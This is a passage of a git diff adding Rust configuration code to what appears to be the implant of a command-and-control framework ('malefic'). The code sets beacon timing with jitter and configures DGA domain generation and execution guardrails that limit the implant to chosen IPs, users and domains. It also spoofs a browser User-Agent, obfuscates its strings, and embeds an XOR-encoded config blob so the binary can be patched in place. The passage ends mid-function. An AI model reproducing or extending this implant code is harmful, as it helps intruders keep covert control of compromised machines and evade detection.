TransportConfig::Rem(rem) => Self::rem_default(rem, keepalive), + TransportConfig::Tcp(_) | TransportConfig::Http(_) | TransportConfig::Opaque(_) => { + Self::stream_default(keepalive) + } + } + } + + pub fn stream_default(keepalive: bool) -> Self { + Self::new( + DEFAULT_STREAM_READ_CHUNK_SIZE, + DEFAULT_STREAM_DEADLINE, + DEFAULT_STREAM_CONNECT_TIMEOUT, + keepalive, + ) + } + + pub fn rem_default(rem: &RemConfig, keepalive: bool) -> Self { + let deadline = rem.default_session_deadline(); + Self::new( + DEFAULT_STREAM_READ_CHUNK_SIZE, + deadline, + rem.default_connect_timeout(), + keepalive, + ) + } +} + +impl HttpRequestConfig { + pub fn new(method: &str, path: &str, version: &str) -> Self { + let mut headers = HashMap::new(); + headers.insert( + obfstr!("Connection").to_string(), + obfstr!("close").to_string(), + ); + headers.insert( + obfstr!("User-Agent").to_string(), + obfstr!("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36").to_string(), + ); + headers.insert( + obfstr!("Content-Type").to_string(), + obfstr!("application/octet-stream").to_string(), + ); + + Self { + method: method.to_string(), + path: path.to_string(), + version: version.to_string(), + headers, + response_read_chunk_size: DEFAULT_HTTP_RESPONSE_READ_CHUNK_SIZE, + response_retry_delay: DEFAULT_HTTP_RESPONSE_RETRY_DELAY, + } + } + + pub fn with_header(mut self, key: &str, value: &str) -> Self { + self.headers.insert(key.to_string(), value.to_string()); + self + } + + pub fn with_runtime_tuning( + mut self, + response_read_chunk_size: usize, + response_retry_delay: Duration, + ) -> Self { + self.response_read_chunk_size = response_read_chunk_size; + self.response_retry_delay = response_retry_delay; + self + } + + pub fn build_request(&self, content_length: usize) -> String { + let mut request = format!("{} {} HTTP/{}\r\n", self.method, self.path, self.version); + + if content_length > 0 { + request.push_str(&format!( + "{}: {}\r\n", + obfstr!("Content-Length"), + content_length + )); + } + + for (key, value) in &self.headers { + request.push_str(&format!("{}: {}\r\n", key, value)); + } + + request.push_str("\r\n"); + request + } +} + +impl RemConfig { + pub fn new(link: String) -> Self { + Self { link } + } + + pub fn interval(&self) -> Duration { + parse_duration_query_ms(&self.link, "interval").unwrap_or(DEFAULT_REM_INTERVAL) + } + + /// Default session-layer idle deadline derived from the REM poll interval. + /// + /// This is only used when the caller omits an explicit `ServerConfig.session_config`. + pub fn default_session_deadline(&self) -> Duration { + scale_duration(self.interval(), DEFAULT_REM_SESSION_DEADLINE_FACTOR) + } + + /// Default connection/handshake timeout derived from the REM poll interval. + /// + /// This is only used when the caller omits an explicit `ServerConfig.session_config`. + pub fn default_connect_timeout(&self) -> Duration { + scale_duration(self.interval(), DEFAULT_REM_CONNECT_TIMEOUT_FACTOR) + } +} + +fn parse_duration_query_ms(link: &str, key: &str) -> Option { + let millis = parse_u64_query(link, key)?; + if millis == 0 { + None + } else { + Some(Duration::from_millis(millis)) + } +} + +fn parse_u64_query(link: &str, key: &str) -> Option { + let needle = format!("{key}="); + let start = link.find(&needle)? + needle.len(); + let digits: String = link[start..] + .chars() + .take_while(|c| c.is_ascii_digit()) + .collect(); + digits.parse::().ok() +} + +fn scale_duration(duration: Duration, factor: u32) -> Duration { + let millis = duration.as_millis(); + let scaled = millis.saturating_mul(factor as u128); + let capped = scaled.min(u64::MAX as u128) as u64; + Duration::from_millis(capped) +} + +impl ServerConfig { + /// Check if DGA is supported + pub fn supports_dga(&self) -> bool { + self.domain_suffix.is_some() + } + + /// Get domain suffix + pub fn get_domain_suffix(&self) -> Option<&String> { + self.domain_suffix.as_ref() + } + + /// Check if address is an IP address + pub fn is_ip_address(&self) -> bool { + if let Some(colon_pos) = self.address.rfind(':') { + let host = &self.address[..colon_pos]; + host.parse::().is_ok() + } else { + self.address.parse::().is_ok() + } + } + + /// Get host address (without port) + pub fn get_host(&self) -> String { + if let Some(colon_pos) = self.address.rfind(':') { + self.address[..colon_pos].to_string() + } else { + self.address.clone() + } + } + + /// Get port + pub fn get_port(&self) -> String { + if let Some(colon_pos) = self.address.rfind(':') { + self.address[colon_pos..].to_string() + } else { + obfstr!(":443").to_string() + } + } +} diff --git a/malefic-crates/config/src/lib.rs b/malefic-crates/config/src/lib.rs new file mode 100644 index 0000000..0cf2827 --- /dev/null +++ b/malefic-crates/config/src/lib.rs @@ -0,0 +1,123 @@ +mod config; +mod runtime; +use std::time::Duration; + +pub use config::{ + ServerConfig, + ProtocolType, + SessionConfig, + TransportConfig, + // TCP + TcpConfig, + SocketOptions, + // HTTP + HttpRequestConfig, + // REM + RemConfig, + // TLS + MTLSConfig, + TlsConfig, + ProxyConfig, + // Guardrail + GuardrailConfig, +}; +pub use runtime::{ + BlobError, + ConfigBlobText, + RuntimeConfig, + CONFIG_BLOB_B64_LEN, + CONFIG_BLOB_TEXT, + CONFIG_BLOB_TEXT_LEN, + decode_runtime_config_bytes, + decode_runtime_config_str, + get_transport_key, + load_runtime_config, + update_runtime_key, +}; +#[cfg(feature = "encoder")] +pub use runtime::encode_runtime_config; +use malefic_gateway::lazy_static; + +lazy_static! { + pub static ref RUNTIME_CONFIG: RuntimeConfig = load_runtime_config(RuntimeConfig { + cron: "*/5 * * * * * *".to_string(), + jitter: 0.2f64, + keepalive: false, + retry: 10u32, + max_cycles: -1i32, + name: "malefic".to_string(), + key: "maliceofinternal".to_string().into_bytes(), + use_env_proxy: false, + proxy_url: "".to_string(), + proxy_scheme: "".to_string(), + proxy_host: "".to_string(), + proxy_port: "".to_string(), + proxy_username: "".to_string(), + proxy_password: "".to_string(), + dga_enable: false, + dga_key: String::new(), + dga_interval_hours: 8u32, + guardrail: GuardrailConfig { + ip_addresses: Vec::new(), + usernames: Vec::new(), + server_names: Vec::new(), + domains: Vec::new(), + require_all: true, + }, + server_configs: { + let mut configs = Vec::new(); + { + let transport_config = TransportConfig::Tcp(TcpConfig {}); + let mut session_config = SessionConfig::default_for_transport(&transport_config, false); + configs.push( + ServerConfig { + address: "127.0.0.1:5001".to_string(), + protocol: ProtocolType::Tcp, + session_config, + transport_config, + tls_config: None, + proxy_config: None, + domain_suffix: None, + } + ); + } + + configs + }, + max_packet_length: 0usize, + }); + // Basic configuration + pub static ref CRON: String = RUNTIME_CONFIG.cron.clone(); + pub static ref JITTER: f64 = RUNTIME_CONFIG.jitter; + pub static ref KEEPALIVE: bool = RUNTIME_CONFIG.keepalive; + // Target server fault tolerance configuration + pub static ref RETRY: u32 = RUNTIME_CONFIG.retry; + pub static ref MAX_CYCLES: i32 = RUNTIME_CONFIG.max_cycles; + // Encryption configuration + pub static ref NAME: String = RUNTIME_CONFIG.name.clone(); + pub static ref KEY: Vec = RUNTIME_CONFIG.key.clone(); + // Proxy configuration + pub static ref USE_ENV_PROXY: bool = RUNTIME_CONFIG.use_env_proxy; + pub static ref PROXY_URL: String = RUNTIME_CONFIG.proxy_url.clone(); + pub static ref PROXY_SCHEME: String = RUNTIME_CONFIG.proxy_scheme.clone(); + pub static ref PROXY_HOST: String = RUNTIME_CONFIG.proxy_host.clone(); + pub static ref PROXY_PORT: String = RUNTIME_CONFIG.proxy_port.clone(); + pub static ref PROXY_USERNAME: String = RUNTIME_CONFIG.proxy_username.clone(); + pub static ref PROXY_PASSWORD: String = RUNTIME_CONFIG.proxy_password.clone(); + // DGA configuration + pub static ref DGA_ENABLE: bool = RUNTIME_CONFIG.dga_enable; + pub static ref DGA_KEY: String = RUNTIME_CONFIG.dga_key.clone(); + pub static ref DGA_INTERVAL_HOURS: u32 = RUNTIME_CONFIG.dga_interval_hours; + // Guardrail configuration + pub static ref GUARDRAIL_CONFIG: GuardrailConfig = RUNTIME_CONFIG.guardrail.clone(); + // Multi-server configuration - use Vec to maintain configuration order + pub static ref SERVER_CONFIGS: Vec = RUNTIME_CONFIG.server_configs.clone(); + // Packet chunking configuration + pub static ref MAX_PACKET_LENGTH: usize = RUNTIME_CONFIG.max_packet_length; +} + +#[cfg(feature = "secure")] +lazy_static! { + pub static ref AGE_PRIVATE_KEY: String = String::new(); + pub static ref AGE_PUBLIC_KEY: String = String::new(); +} diff --git a/malefic-crates/config/src/runtime.rs b/malefic-crates/config/src/runtime.rs new file mode 100644 index 0000000..b2251ac --- /dev/null +++ b/malefic-crates/config/src/runtime.rs @@ -0,0 +1,915 @@ +use crate::config::{HttpRequestConfig, RemConfig, SessionConfig, TcpConfig}; +use crate::{ + GuardrailConfig, MTLSConfig, ProtocolType, ProxyConfig, ServerConfig, TlsConfig, + TransportConfig, +}; +use base64::{engine::general_purpose, Engine as _}; +use malefic_common::debug; +use malefic_common::tinyserde::{Error as TinySerdeError, Value, XorCipher}; +use malefic_gateway::obfstr::obfstr; +use malefic_gateway::ObfDebug; +use std::collections::BTreeMap; + +/// ASCII padding used to keep the embedded text at a fixed length for in-place patching. +const PAD_BYTE: u8 = b'#'; +/// Seed used by tinyserde XOR cipher; deterministic and must match the patcher. +const BLOB_KEY_SEED: u64 = 0x6174_7321_4746_434d; + +/// Fixed-length ASCII buffer embedded in the binary for string replacement. +pub const CONFIG_BLOB_TEXT_LEN: usize = 16384; +const CONFIG_BLOB_PREFIX_LEN: usize = 8; +const CONFIG_BLOB_PAYLOAD_LEN: usize = CONFIG_BLOB_TEXT_LEN - CONFIG_BLOB_PREFIX_LEN; + +/// Backwards-compatible alias used by the patching CLI (this is *not* a base64 length anymore). +pub const CONFIG_BLOB_B64_LEN: usize = CONFIG_BLOB_TEXT_LEN; + +#[repr(C, align(16))] +pub struct ConfigBlobText { + prefix: [u8; 8], + payload: [u8; CONFIG_BLOB_PAYLOAD_LEN], +} + +impl ConfigBlobText { + pub const fn new() -> Self { + Self { + // Inline the prefix bytes directly to avoid creating a separate constant in the binary + prefix: *b"CFGv4B64", + payload: [PAD_BYTE; CONFIG_BLOB_PAYLOAD_LEN], + } + } + + #[inline] + pub fn prefix(&self) -> &[u8; 8] { + &self.prefix + } + + #[inline] + pub fn payload(&self) -> &[u8; CONFIG_BLOB_PAYLOAD_LEN] { + &self.payload + } +} + +/// Fixed-length ASCII buffer that can be patched in-place inside the binary. +/// We mark it as `used` and `no_mangle` so LTO keeps it, and the name stays visible. +#[no_mangle] +#[used] +pub static CONFIG_BLOB_TEXT: ConfigBlobText = ConfigBlobText::new(); + +/// Runtime configuration shape; this mirrors the public config values exposed through lazy statics. +#[derive(ObfDebug, Clone, PartialEq)] +pub struct RuntimeConfig { + pub cron: String, + pub jitter: f64, + pub keepalive: bool, + pub retry: u32, + pub max_cycles: i32, + pub name: String, + pub key: Vec, + pub use_env_proxy: bool, + pub proxy_url: String, + pub proxy_scheme: String, + pub proxy_host: String, + pub proxy_port: String, + pub proxy_username: String, + pub proxy_password: String, + pub dga_enable: bool, + pub dga_key: String, + pub dga_interval_hours: u32, + pub guardrail: GuardrailConfig, + pub server_configs: Vec, + /// Maximum packet size for auto-chunking. 0 = disabled (no chunking). + /// Should match server's pipeline packet_length setting. + pub max_packet_length: usize, +} + +#[derive(Debug)] +pub enum BlobError { + Empty, + Utf8(std::str::Utf8Error), + Base64(base64::DecodeError), + BadPrefix, + Oversized(usize), + Deserialize(TinySerdeError), + InvalidFormat(String), +} + +impl std::fmt::Display for BlobError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + match self { + BlobError::Empty => f.write_str(obfstr!("config blob is empty")), + BlobError::Utf8(e) => write!(f, "{}: {}", obfstr!("invalid UTF-8 in config blob"), e), + BlobError::Base64(e) => write!(f, "{}: {}", obfstr!("base64 decode failed"), e), + BlobError::BadPrefix => f.write_str(obfstr!("config blob prefix mismatch")), + BlobError::Oversized(n) => write!( + f, + "{} ({} bytes)", + obfstr!("config blob payload too large"), + n + ), + BlobError::Deserialize(e) => { + write!(f, "{}: {}", obfstr!("config deserialization failed"), e) + } + BlobError::InvalidFormat(s) => write!(f, "{}: {}", obfstr!("invalid config field"), s), + } + } +} + +impl std::error::Error for BlobError { + fn source(&self) -> Option<&(dyn std::error::Error + 'static)> { + match self { + BlobError::Utf8(e) => Some(e), + BlobError::Base64(e) => Some(e), + BlobError::Deserialize(e) => Some(e), + _ => None, + } + } +} + +impl From for BlobError { + fn from(e: std::str::Utf8Error) -> Self { + BlobError::Utf8(e) + } +} + +impl From for BlobError { + fn from(e: base64::DecodeError) -> Self { + BlobError::Base64(e) + } +} + +impl From for BlobError { + fn from(e: TinySerdeError) -> Self { + BlobError::Deserialize(e) + } +} + +// ==================== Encoder helpers (only needed by malefic-mutant) ==================== +#[cfg(feature = "encoder")] +fn value_null() -> Value { + Value::Null +} + +#[cfg(feature = "encoder")] +fn value_str(s: &str) -> Value { + Value::Str(s.to_string()) +} + +#[cfg(feature = "encoder")] +fn value_bool(v: bool) -> Value { + Value::Bool(v) +} + +#[cfg(feature = "encoder")] +fn value_int(v: i64) -> Value { + Value::Int(v) +} + +#[cfg(feature = "encoder")] +fn value_bytes(v: &[u8]) -> Value { + Value::Bytes(v.to_vec()) +} + +#[cfg(feature = "encoder")] +fn value_vec_str(values: &[String]) -> Value { + Value::Seq(values.iter().map(|v| Value::Str(v.clone())).collect()) +} + +#[cfg(feature = "encoder")] +fn value_map(entries: impl IntoIterator) -> Value { + let mut map = BTreeMap::new(); + for (k, v) in entries { + map.insert(k, v); + } + Value::Map(map) +} + +#[cfg(feature = "encoder")] +fn duration_to_millis(duration: std::time::Duration) -> i64 { + i64::try_from(duration.as_millis()).unwrap_or(i64::MAX) +} + +#[cfg(feature = "encoder")] +fn value_duration(duration: std::time::Duration) -> Value { + value_int(duration_to_millis(duration)) +} + +fn map_get<'a>( + map: &'a BTreeMap, + key: impl AsRef, +) -> Result<&'a Value, BlobError> { + let key = key.as_ref(); + map.get(key) + .ok_or_else(|| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_str(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + match v { + Value::Str(s) => Ok(s.clone()), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_bool(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + match v { + Value::Bool(b) => Ok(*b), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_i64(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + match v { + Value::Int(n) => Ok(*n), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_u32(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let n = expect_i64(v, key)?; + u32::try_from(n).map_err(|_| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_usize(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let n = expect_i64(v, key)?; + usize::try_from(n).map_err(|_| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_i32(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let n = expect_i64(v, key)?; + i32::try_from(n).map_err(|_| BlobError::InvalidFormat(key.to_string())) +} + +fn expect_duration(v: &Value, key: impl AsRef) -> Result { + let key = key.as_ref(); + let millis = expect_i64(v, key)?; + let millis = u64::try_from(millis).map_err(|_| BlobError::InvalidFormat(key.to_string()))?; + Ok(std::time::Duration::from_millis(millis)) +} + +fn expect_bytes(v: &Value, key: impl AsRef) -> Result, BlobError> { + let key = key.as_ref(); + match v { + Value::Bytes(b) => Ok(b.clone()), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +fn expect_vec_str(v: &Value, key: impl AsRef) -> Result, BlobError> { + let key = key.as_ref(); + match v { + Value::Seq(seq) => seq + .iter() + .map(|item| match item { + Value::Str(s) => Ok(s.clone()), + _ => Err(BlobError::InvalidFormat(key.to_string())), + }) + .collect(), + _ => Err(BlobError::InvalidFormat(key.to_string())), + } +} + +#[cfg(feature = "encoder")] +fn protocol_to_value(protocol: &ProtocolType) -> Value { + match protocol { + ProtocolType::Tcp => value_str("tcp"), + ProtocolType::Http => value_str("http"), + ProtocolType::REM => value_str("rem"), + ProtocolType::Other(name) => value_str(name), + } +} + +fn protocol_from_value(v: &Value) -> Result { + let s = expect_str(v, obfstr!("protocol"))?; + match s.as_str() { + "tcp" => Ok(ProtocolType::Tcp), + "http" => Ok(ProtocolType::Http), + "rem" => Ok(ProtocolType::REM), + _ => Ok(ProtocolType::Other(s)), + } +} + +#[cfg(feature = "encoder")] +fn transport_to_value(transport: &TransportConfig) -> Value { + match transport { + TransportConfig::Tcp(_tcp) => value_map([("kind".to_string(), value_str("tcp"))]), + TransportConfig::Rem(rem) => value_map([ + ("kind".to_string(), value_str("rem")), + ("link".to_string(), value_str(&rem.link)), + ]), + TransportConfig::Http(http) => { + let mut headers = BTreeMap::new(); + for (k, v) in &http.headers { + headers.insert(k.clone(), Value::Str(v.clone())); + } + Value::Map({ + let mut map = BTreeMap::new(); + map.insert("kind".to_string(), value_str("http")); + map.insert("method".to_string(), value_str(&http.method)); + map.insert("path".to_string(), value_str(&http.path)); + map.insert("version".to_string(), value_str(&http.version)); + map.insert("headers".to_string(), Value::Map(headers)); + map.insert( + "response_read_chunk_size".to_string(), + value_int(http.response_read_chunk_size as i64), + ); + map.insert( + "response_retry_delay_ms".to_string(), + value_duration(http.response_retry_delay), + ); + map + }) + } + TransportConfig::Opaque(kind) => value_map([("kind".to_string(), value_str(kind))]), + } +} + +fn transport_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("transport_config").to_string(), + )); + }; + let kind = expect_str(map_get(map, obfstr!("kind"))?, obfstr!("transport_kind"))?; + match kind.as_str() { + "tcp" => Ok(TransportConfig::Tcp(TcpConfig {})), + "rem" => { + let link = expect_str(map_get(map, obfstr!("link"))?, obfstr!("link"))?; + Ok(TransportConfig::Rem(RemConfig::new(link))) + } + "http" => { + let method = expect_str(map_get(map, obfstr!("method"))?, obfstr!("method"))?; + let path = expect_str(map_get(map, obfstr!("path"))?, obfstr!("path"))?; + let version = expect_str(map_get(map, obfstr!("version"))?, obfstr!("version"))?; + let headers_value = map_get(map, obfstr!("headers"))?; + let Value::Map(headers_map) = headers_value else { + return Err(BlobError::InvalidFormat(obfstr!("headers").to_string())); + }; + let mut headers = std::collections::HashMap::new(); + for (k, v) in headers_map { + let Value::Str(s) = v else { + return Err(BlobError::InvalidFormat(obfstr!("headers").to_string())); + }; + headers.insert(k.clone(), s.clone()); + } + let mut http = HttpRequestConfig::new(&method, &path, &version).with_runtime_tuning( + expect_usize( + map_get(map, obfstr!("response_read_chunk_size"))?, + obfstr!("response_read_chunk_size"), + )?, + expect_duration( + map_get(map, obfstr!("response_retry_delay_ms"))?, + obfstr!("response_retry_delay_ms"), + )?, + ); + http.headers = headers; + Ok(TransportConfig::Http(http)) + } + _ => Ok(TransportConfig::Opaque(kind)), + } +} + +#[cfg(feature = "encoder")] +fn session_config_to_value(config: &SessionConfig) -> Value { + value_map([ + ( + "read_chunk_size".to_string(), + value_int(config.read_chunk_size as i64), + ), + ("deadline_ms".to_string(), value_duration(config.deadline)), + ( + "connect_timeout_ms".to_string(), + value_duration(config.connect_timeout), + ), + ("keepalive".to_string(), value_bool(config.keepalive)), + ]) +} + +fn session_config_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("session_config").to_string(), + )); + }; + + Ok(SessionConfig { + read_chunk_size: expect_usize( + map_get(map, obfstr!("read_chunk_size"))?, + obfstr!("read_chunk_size"), + )?, + deadline: expect_duration( + map_get(map, obfstr!("deadline_ms"))?, + obfstr!("deadline_ms"), + )?, + connect_timeout: expect_duration( + map_get(map, obfstr!("connect_timeout_ms"))?, + obfstr!("connect_timeout_ms"), + )?, + keepalive: expect_bool(map_get(map, obfstr!("keepalive"))?, obfstr!("keepalive"))?, + }) +} + +#[cfg(feature = "encoder")] +fn mtls_to_value(mtls: &MTLSConfig) -> Value { + value_map([ + ("enable".to_string(), value_bool(mtls.enable)), + ("client_cert".to_string(), value_bytes(&mtls.client_cert)), + ("client_key".to_string(), value_bytes(&mtls.client_key)), + ("server_ca".to_string(), value_bytes(&mtls.server_ca)), + ]) +} + +fn mtls_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat(obfstr!("mtls_config").to_string())); + }; + Ok(MTLSConfig { + enable: expect_bool(map_get(map, obfstr!("enable"))?, obfstr!("enable"))?, + client_cert: expect_bytes( + map_get(map, obfstr!("client_cert"))?, + obfstr!("client_cert"), + )?, + client_key: expect_bytes(map_get(map, obfstr!("client_key"))?, obfstr!("client_key"))?, + server_ca: expect_bytes(map_get(map, obfstr!("server_ca"))?, obfstr!("server_ca"))?, + }) +} + +#[cfg(feature = "encoder")] +fn tls_to_value(tls: &TlsConfig) -> Value { + let mtls_value = tls + .mtls_config + .as_ref() + .map(mtls_to_value) + .unwrap_or_else(value_null); + value_map([ + ("enable".to_string(), value_bool(tls.enable)), + ("version".to_string(), value_str(&tls.version)), + ("sni".to_string(), value_str(&tls.sni)), + ( + "skip_verification".to_string(), + value_bool(tls.skip_verification), + ), + ("server_ca".to_string(), value_bytes(&tls.server_ca)), + ("mtls_config".to_string(), mtls_value), + ]) +} + +fn tls_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat(obfstr!("tls_config").to_string())); + }; + let mtls_value = map_get(map, obfstr!("mtls_config"))?; + let mtls_config = match mtls_value { + Value::Null => None, + other => Some(mtls_from_value(other)?), + }; + // server_ca is optional - default to empty vec if not present + let server_ca = match map_get(map, obfstr!("server_ca")) { + Ok(v) => expect_bytes(v, obfstr!("server_ca")).unwrap_or_default(), + Err(_) => Vec::new(), + }; + Ok(TlsConfig { + enable: expect_bool(map_get(map, obfstr!("enable"))?, obfstr!("enable"))?, + version: expect_str(map_get(map, obfstr!("version"))?, obfstr!("version"))?, + sni: expect_str(map_get(map, obfstr!("sni"))?, obfstr!("sni"))?, + skip_verification: expect_bool( + map_get(map, obfstr!("skip_verification"))?, + obfstr!("skip_verification"), + )?, + server_ca, + mtls_config, + }) +} + +#[cfg(feature = "encoder")] +fn proxy_to_value(proxy: &ProxyConfig) -> Value { + value_map([ + ("proxy_type".to_string(), value_str(&proxy.proxy_type)), + ("host".to_string(), value_str(&proxy.host)), + ("port".to_string(), value_int(proxy.port as i64)), + ("username".to_string(), value_str(&proxy.username)), + ("password".to_string(), value_str(&proxy.password)), + ]) +} + +fn proxy_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("proxy_config").to_string(), + )); + }; + Ok(ProxyConfig { + proxy_type: expect_str(map_get(map, obfstr!("proxy_type"))?, obfstr!("proxy_type"))?, + host: expect_str(map_get(map, obfstr!("host"))?, obfstr!("host"))?, + port: u16::try_from(expect_i64(map_get(map, obfstr!("port"))?, obfstr!("port"))?) + .map_err(|_| BlobError::InvalidFormat(obfstr!("port").to_string()))?, + username: expect_str(map_get(map, obfstr!("username"))?, obfstr!("username"))?, + password: expect_str(map_get(map, obfstr!("password"))?, obfstr!("password"))?, + }) +} + +#[cfg(feature = "encoder")] +fn guardrail_to_value(guardrail: &GuardrailConfig) -> Value { + value_map([ + ( + "ip_addresses".to_string(), + value_vec_str(&guardrail.ip_addresses), + ), + ("usernames".to_string(), value_vec_str(&guardrail.usernames)), + ( + "server_names".to_string(), + value_vec_str(&guardrail.server_names), + ), + ("domains".to_string(), value_vec_str(&guardrail.domains)), + ("require_all".to_string(), value_bool(guardrail.require_all)), + ]) +} + +fn guardrail_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat(obfstr!("guardrail").to_string())); + }; + Ok(GuardrailConfig { + ip_addresses: expect_vec_str( + map_get(map, obfstr!("ip_addresses"))?, + obfstr!("ip_addresses"), + )?, + usernames: expect_vec_str(map_get(map, obfstr!("usernames"))?, obfstr!("usernames"))?, + server_names: expect_vec_str( + map_get(map, obfstr!("server_names"))?, + obfstr!("server_names"), + )?, + domains: expect_vec_str(map_get(map, obfstr!("domains"))?, obfstr!("domains"))?, + require_all: expect_bool( + map_get(map, obfstr!("require_all"))?, + obfstr!("require_all"), + )?, + }) +} + +#[cfg(feature = "encoder")] +fn server_config_to_value(cfg: &ServerConfig) -> Value { + let tls_value = cfg + .tls_config + .as_ref() + .map(tls_to_value) + .unwrap_or_else(value_null); + let proxy_value = cfg + .proxy_config + .as_ref() + .map(proxy_to_value) + .unwrap_or_else(value_null); + let domain_value = cfg + .domain_suffix + .as_ref() + .map(|s| value_str(s)) + .unwrap_or_else(value_null); + + Value::Map({ + let mut map = BTreeMap::new(); + map.insert("address".to_string(), value_str(&cfg.address)); + map.insert("protocol".to_string(), protocol_to_value(&cfg.protocol)); + map.insert( + "session_config".to_string(), + session_config_to_value(&cfg.session_config), + ); + map.insert( + "transport_config".to_string(), + transport_to_value(&cfg.transport_config), + ); + map.insert("tls_config".to_string(), tls_value); + map.insert("proxy_config".to_string(), proxy_value); + map.insert("domain_suffix".to_string(), domain_value); + map + }) +} + +fn server_config_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("server_config").to_string(), + )); + }; + let tls_value = map_get(map, obfstr!("tls_config"))?; + let tls_config = match tls_value { + Value::Null => None, + other => Some(tls_from_value(other)?), + }; + let proxy_value = map_get(map, obfstr!("proxy_config"))?; + let proxy_config = match proxy_value { + Value::Null => None, + other => Some(proxy_from_value(other)?), + }; + let domain_value = map_get(map, obfstr!("domain_suffix"))?; + let domain_suffix = match domain_value { + Value::Null => None, + Value::Str(s) => Some(s.clone()), + _ => { + return Err(BlobError::InvalidFormat( + obfstr!("domain_suffix").to_string(), + )) + } + }; + Ok(ServerConfig { + address: expect_str(map_get(map, obfstr!("address"))?, obfstr!("address"))?, + protocol: protocol_from_value(map_get(map, obfstr!("protocol"))?)?, + session_config: session_config_from_value(map_get(map, obfstr!("session_config"))?)?, + transport_config: transport_from_value(map_get(map, obfstr!("transport_config"))?)?, + tls_config, + proxy_config, + domain_suffix, + }) +} + +#[cfg(feature = "encoder")] +fn runtime_to_value(cfg: &RuntimeConfig) -> Value { + Value::Map({ + let mut map = BTreeMap::new(); + map.insert("cron".to_string(), value_str(&cfg.cron)); + map.insert("jitter".to_string(), Value::Float(cfg.jitter)); + map.insert("keepalive".to_string(), value_bool(cfg.keepalive)); + map.insert("retry".to_string(), value_int(cfg.retry as i64)); + map.insert("max_cycles".to_string(), value_int(cfg.max_cycles as i64)); + map.insert("name".to_string(), value_str(&cfg.name)); + map.insert("key".to_string(), value_bytes(&cfg.key)); + map.insert("use_env_proxy".to_string(), value_bool(cfg.use_env_proxy)); + map.insert("proxy_url".to_string(), value_str(&cfg.proxy_url)); + map.insert("proxy_scheme".to_string(), value_str(&cfg.proxy_scheme)); + map.insert("proxy_host".to_string(), value_str(&cfg.proxy_host)); + map.insert("proxy_port".to_string(), value_str(&cfg.proxy_port)); + map.insert("proxy_username".to_string(), value_str(&cfg.proxy_username)); + map.insert("proxy_password".to_string(), value_str(&cfg.proxy_password)); + map.insert("dga_enable".to_string(), value_bool(cfg.dga_enable)); + map.insert("dga_key".to_string(), value_str(&cfg.dga_key)); + map.insert( + "dga_interval_hours".to_string(), + value_int(cfg.dga_interval_hours as i64), + ); + map.insert("guardrail".to_string(), guardrail_to_value(&cfg.guardrail)); + map.insert( + "server_configs".to_string(), + Value::Seq( + cfg.server_configs + .iter() + .map(server_config_to_value) + .collect(), + ), + ); + map.insert( + "max_packet_length".to_string(), + value_int(cfg.max_packet_length as i64), + ); + map + }) +} + +fn runtime_from_value(v: &Value) -> Result { + let Value::Map(map) = v else { + return Err(BlobError::InvalidFormat( + obfstr!("runtime_config").to_string(), + )); + }; + Ok(RuntimeConfig { + cron: expect_str(map_get(map, obfstr!("cron"))?, obfstr!("cron"))?, + jitter: match map_get(map, obfstr!("jitter"))? { + Value::Float(f) => *f, + _ => return Err(BlobError::InvalidFormat(obfstr!("jitter").to_string())), + }, + keepalive: expect_bool(map_get(map, obfstr!("keepalive"))?, obfstr!("keepalive"))?, + retry: expect_u32(map_get(map, obfstr!("retry"))?, obfstr!("retry"))?, + max_cycles: expect_i32(map_get(map, obfstr!("max_cycles"))?, obfstr!("max_cycles"))?, + name: expect_str(map_get(map, obfstr!("name"))?, obfstr!("name"))?, + key: expect_bytes(map_get(map, obfstr!("key"))?, obfstr!("key"))?, + use_env_proxy: expect_bool( + map_get(map, obfstr!("use_env_proxy"))?, + obfstr!("use_env_proxy"), + )?, + proxy_url: expect_str(map_get(map, obfstr!("proxy_url"))?, obfstr!("proxy_url"))?, + proxy_scheme: expect_str( + map_get(map, obfstr!("proxy_scheme"))?, + obfstr!("proxy_scheme"), + )?, + proxy_host: expect_str(map_get(map, obfstr!("proxy_host"))?, obfstr!("proxy_host"))?, + proxy_port: expect_str(map_get(map, obfstr!("proxy_port"))?, obfstr!("proxy_port"))?, + proxy_username: expect_str( + map_get(map, obfstr!("proxy_username"))?, + obfstr!("proxy_username"), + )?, + proxy_password: expect_str( + map_get(map, obfstr!("proxy_password"))?, + obfstr!("proxy_password"), + )?, + dga_enable: expect_bool(map_get(map, obfstr!("dga_enable"))?, obfstr!("dga_enable"))?, + dga_key: expect_str(map_get(map, obfstr!("dga_key"))?, obfstr!("dga_key"))?, + dga_interval_hours: expect_u32( + map_get(map, obfstr!("dga_interval_hours"))?, + obfstr!("dga_interval_hours"), + )?, + guardrail: guardrail_from_value(map_get(map, obfstr!("guardrail"))?)?, + server_configs: { + let server_configs_value = map_get(map, obfstr!("server_configs"))?; + let Value::Seq(seq) = server_configs_value else { + return Err(BlobError::InvalidFormat( + obfstr!("server_configs").to_string(), + )); + }; + seq.iter() + .map(server_config_from_value) + .collect::, _>>()? + }, + max_packet_length: map + 